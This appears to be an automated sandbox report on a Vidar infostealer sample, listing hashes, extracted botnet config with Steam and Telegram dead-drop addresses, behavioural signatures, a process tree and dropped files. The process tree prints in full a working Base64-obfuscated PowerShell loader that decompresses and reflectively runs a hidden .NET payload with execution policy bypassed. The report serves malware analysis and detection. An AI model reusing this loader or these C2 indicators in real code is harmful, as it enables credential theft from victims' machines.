vidar | bb88f7580c25b779360d2603e5cc6faedb86c19575773c9535a66fbc78318767

Analysis

max time kernel
93s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 10:43

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General

Target
55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe
Size 271KB
Sample240402-msmdsafe7v
SHA256 55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
MD5 8b8db4eaa6f5368eb5f64359c6197b43
SHA1 e9b51842e2d2f39fa06e466ae73af341ddffe1c8
SHA512 4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
SSDEEP 6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

vidar 72f54d93118188013f2386eef7e5cc05 stealer

Malware Config

Extracted

Family

vidar

Version

Botnet

72f54d93118188013f2386eef7e5cc05

https://steamcommunity.com/profiles/76561199658817715
https://t.me/sa9ok

Attributes

profile_id_v2
72f54d93118188013f2386eef7e5cc05
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Signatures

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral2/memory/388-55-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral2/memory/388-60-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7
behavioral2/memory/388-58-0x0000000000400000-0x0000000000644000-memory.dmp	family_vidar_v7

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	wscript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4428 set thread context of 388	4428	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4708	388	WerFault.exe	101

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe
4428	powershell.exe
4428	powershell.exe
4428	powershell.exe
4428	powershell.exe
4428	powershell.exe
4428	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 436 wrote to memory of 4148	436	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	89
PID 436 wrote to memory of 4148	436	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	89
PID 436 wrote to memory of 4148	436	55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe	89
PID 4148 wrote to memory of 3516	4148	wscript.exe	90
PID 4148 wrote to memory of 3516	4148	wscript.exe	90
PID 4148 wrote to memory of 3516	4148	wscript.exe	90
PID 3516 wrote to memory of 2772	3516	cmd.exe	92
PID 3516 wrote to memory of 2772	3516	cmd.exe	92
PID 3516 wrote to memory of 2772	3516	cmd.exe	92
PID 3516 wrote to memory of 4428	3516	cmd.exe	97
PID 3516 wrote to memory of 4428	3516	cmd.exe	97
PID 3516 wrote to memory of 4428	3516	cmd.exe	97
PID 4428 wrote to memory of 2272	4428	powershell.exe	99
PID 4428 wrote to memory of 2272	4428	powershell.exe	99
PID 4428 wrote to memory of 2272	4428	powershell.exe	99
PID 4428 wrote to memory of 5100	4428	powershell.exe	100
PID 4428 wrote to memory of 5100	4428	powershell.exe	100
PID 4428 wrote to memory of 5100	4428	powershell.exe	100
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101
PID 4428 wrote to memory of 388	4428	powershell.exe	101

C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe
"C:\Users\Admin\AppData\Local\Temp\55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:436
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" "C:\Users\Admin\start.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
      4⤵
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4428
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2272
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:5100
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:388
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 388 -s 2216
        6⤵
        Program crash
        
        PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 388 -ip 388
1⤵
PID:3928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

-temp.ps1

Path C:\Users\Admin\-temp.ps1
Size 1KB
SHA256 017fb2bedc94f0480d208611df6b42589d407fc4338e1f5dc1e00a9fd52752e0
MD5 ee6d2d219d1affb98fb9dc1de51d895e
SHA1 aaa2ceb5f7214c76b8a050a06d257cdc30d6bb48
SHA512 52139b56af32835b93fb8eb93b553325e36654debe5c15e6b61930ffe8027e0ee5eb0998da4c37ec047c052522a022d7103c33d7495eb1a3504cfee1780229bf
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 8252d137e3c753fddcf91ecd1b284065b0eea7aa36c214ffb44a7350d5007bb3
MD5 9e3ad1b248f48b6ffec225b61642fefa
SHA1 f1e2962fa9fb494b636b3566b383b428f4f36ad2
SHA512 e6de9e2536766bdecdd0e80ec7ad8a29681de7965c43a0e637d0821c2a0f0a80674e9b811f9ca8cd22a14ac4d5e4d82e8ce14578b8d759cb44e58a2d429a47c5
SSDEEP 384:Urf+or9i+1v65Ed8LmqyKLo9o2TVK6seYoX6C/my3SoZaD3lJCePEp7b9AcDX:efXv4EaLypo2TVNj3VShh48EpXj
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_toqhbhlk.1cj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_toqhbhlk.1cj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

start.vbs

Path C:\Users\Admin\start.vbs
Size 231B
SHA256 89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
MD5 abe1dd23ab4c11aae54f1898c780c0b5
SHA1 bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA512 e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
MD5 SHA1 SHA512

Submit Download

temp.bat

Path C:\Users\Admin\temp.bat
Size 204KB
SHA256 e24aaddfa2ece0891ad7b3c51779c65bbf95e4fded59fc46fe4fef311e1de3e1
MD5 72b17467a49b7813856fa604d1d291c8
SHA1 3116d07854d56f0bc505be8b80804a7319208739
SHA512 38c99cc716097ee7cb642203432ffbd1ef6ce8a0c9b21aa2827962b82456ecb3113fa1edd362aab013737e3bdfb2d0803145fc0caf612054ba47f6454c3a4843
SSDEEP 3072:YZ5q1dIOxM7uywhXemKY2GDM676x3P6qpsIRRpAdJ6PjzqqaTehW6+Goun9Oem1Z:e+PLjkf7VGrrPrmKCeFIzxzwhFfyGWzC
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/388-58-0x0000000000400000-0x0000000000644000-memory.dmp

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memory/388-60-0x0000000000400000-0x0000000000644000-memory.dmp

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memory/388-55-0x0000000000400000-0x0000000000644000-memory.dmp

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memory/2772-31-0x0000000074980000-0x0000000075130000-memory.dmp

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memory/2772-10-0x00000000052A0000-0x00000000058C8000-memory.dmp

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memory/2772-23-0x0000000005B50000-0x0000000005EA4000-memory.dmp

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memory/2772-24-0x0000000005FC0000-0x0000000005FDE000-memory.dmp

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memory/2772-25-0x0000000006070000-0x00000000060BC000-memory.dmp

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memory/2772-26-0x0000000007900000-0x0000000007F7A000-memory.dmp

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memory/2772-27-0x0000000006500000-0x000000000651A000-memory.dmp

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memory/2772-12-0x0000000005A00000-0x0000000005A66000-memory.dmp

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memory/2772-11-0x0000000005220000-0x0000000005242000-memory.dmp

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memory/2772-7-0x0000000074980000-0x0000000075130000-memory.dmp

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memory/2772-8-0x0000000004C60000-0x0000000004C70000-memory.dmp

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memory/2772-6-0x0000000004C20000-0x0000000004C56000-memory.dmp

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memory/2772-9-0x0000000004C60000-0x0000000004C70000-memory.dmp

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memory/2772-13-0x0000000005AE0000-0x0000000005B46000-memory.dmp

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memory/4428-45-0x0000000005C30000-0x0000000005F84000-memory.dmp

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memory/4428-49-0x0000000007320000-0x0000000007342000-memory.dmp

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memory/4428-50-0x0000000007A60000-0x0000000008004000-memory.dmp

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memory/4428-48-0x0000000007350000-0x00000000073E6000-memory.dmp

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memory/4428-52-0x0000000005FE0000-0x0000000006038000-memory.dmp

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memory/4428-33-0x0000000074980000-0x0000000075130000-memory.dmp

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memory/4428-54-0x00000000773E1000-0x0000000077501000-memory.dmp

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memory/4428-34-0x0000000004E50000-0x0000000004E60000-memory.dmp

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memory/4428-35-0x0000000004E50000-0x0000000004E60000-memory.dmp

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memory/4428-53-0x0000000004F30000-0x0000000004F3A000-memory.dmp

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memory/4428-67-0x0000000074980000-0x0000000075130000-memory.dmp

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